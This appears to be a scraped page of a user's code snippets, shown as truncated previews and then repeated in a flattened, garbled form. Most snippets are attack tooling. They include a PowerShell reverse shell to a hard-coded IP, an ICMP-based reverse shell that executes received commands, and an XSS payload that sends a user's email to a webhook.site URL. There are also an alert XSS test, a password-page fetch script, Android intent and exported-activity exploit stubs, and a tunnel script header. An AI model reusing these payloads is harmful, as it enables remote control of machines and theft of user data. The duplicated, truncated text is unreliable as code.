aDoN adon90

## b.js
var x = new XMLHttpRequest();
var r=0;
x.open('GET','https:/XXXXXXX/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx');
x.responseType = "document";
x.send(null);

x.onreadystatechange = function() {
    if (x.readyState === 4 && r != 1) {


## a.js
alert(1)

## psh
$socket = new-object System.Net.Sockets.TcpClient('37.187.112.19', 443);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
	$writer.Flush();
	$read = $null;

## docker-compose.yml
---
version: '3.7'
services:
  nginx:
    build:
      context: ./
      dockerfile: Dockerfile.nginx
    image: defectdojo/defectdojo-nginx:${NGINX_VERSION:-latest}
    depends_on:
      - uwsgi

## deeplink.html
<html>
<a href="william://www.hackplayers.com">MEOW</a>
</html>

## exportedactivityleakexploit.java
package com.adon.exploitcors;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.widget.Toast;

public class MainActivity extends AppCompatActivity {

## embededintentexploit.java
package com.example.intentpoc;

import android.os.Bundle;

import androidx.appcompat.app.AppCompatActivity;


import android.content.Intent;

public class MainActivity extends AppCompatActivity {

## reverse_icmp_optima.sh
powershell -nop -Command "$IP = '10.10.14.42';$client = New-Object System.Net.NetworkInformation.Ping;$options = New-Object System.Net.NetworkInformation.PingOptions;$options.DontFragment = $true;$client.send($IP, 1000, ([Text.Encoding]::ASCII).GetBytes('pie'), $options);while($true){$comms = $client.Send($IP, 1000, ([Text.Encoding]::ASCII).GetBytes(''), $options);if($comms.Buffer){ $cmd = ([Text.Encoding]::ASCII).GetString($comms.Buffer);$reply = (Invoke-Expression -Command $cmd | Out-String);$client.send($IP, 1000, ([Text.Encoding]::ASCII).GetBytes($reply), $options);}}"

## leak.js
<script>
var req = new XMLHttpRequest();
req.onload = function () {
   var patt2 = /OA_mail":\["([^"]*?)"/g;
   var result = patt2.exec(req.responseText)[1];
   new Image().src = ("http://webhook.site/f6dab550-defa-4310-9a79-d0c5c1e9fdcc/?cc="+result);
};
req.open("GET", "/api/dataUsers/v1/WebStore/getUser", true);
req.send();
</script>

## re.py
# 保存为 re.py ，然后 re.py -u http://xx.com/tunnel.aspx -p 8080 -s "PHPSESSIONID: xxxxxxxxxxxxxxxxxx"

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import logging
import argparse
import signal
import sys
import atexit
	var x = new XMLHttpRequest();
	var r=0;
	x.open('GET','https:/XXXXXXX/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx');
	x.responseType = "document";
	x.send(null);

	x.onreadystatechange = function() {
	if (x.readyState === 4 && r != 1) {
	$socket = new-object System.Net.Sockets.TcpClient('37.187.112.19', 443);
	if($socket -eq $null){exit 1}
	$stream = $socket.GetStream();
	$writer = new-object System.IO.StreamWriter($stream);
	$buffer = new-object System.Byte[] 1024;
	$encoding = new-object System.Text.AsciiEncoding;
	do
	{
	$writer.Flush();
	$read = $null;
	---
	version: '3.7'
	services:
	nginx:
	build:
	context: ./
	dockerfile: Dockerfile.nginx
	image: defectdojo/defectdojo-nginx:${NGINX_VERSION:-latest}
	depends_on:
	- uwsgi
	<html>
	<a href="william://www.hackplayers.com">MEOW</a>
	</html>
	package com.adon.exploitcors;

	import androidx.appcompat.app.AppCompatActivity;

	import android.content.Intent;
	import android.os.Bundle;
	import android.widget.Toast;

	public class MainActivity extends AppCompatActivity {
	package com.example.intentpoc;

	import android.os.Bundle;

	import androidx.appcompat.app.AppCompatActivity;


	import android.content.Intent;

	public class MainActivity extends AppCompatActivity {
	<script>
	var req = new XMLHttpRequest();
	req.onload = function () {
	var patt2 = /OA_mail":\["([^"]*?)"/g;
	var result = patt2.exec(req.responseText)[1];
	new Image().src = ("http://webhook.site/f6dab550-defa-4310-9a79-d0c5c1e9fdcc/?cc="+result);
	};
	req.open("GET", "/api/dataUsers/v1/WebStore/getUser", true);
	req.send();
	</script>
	# 保存为 re.py ，然后 re.py -u http://xx.com/tunnel.aspx -p 8080 -s "PHPSESSIONID: xxxxxxxxxxxxxxxxxx"

	#!/usr/bin/env python
	# -- coding: utf-8 --

	import logging
	import argparse
	import signal
	import sys
	import atexit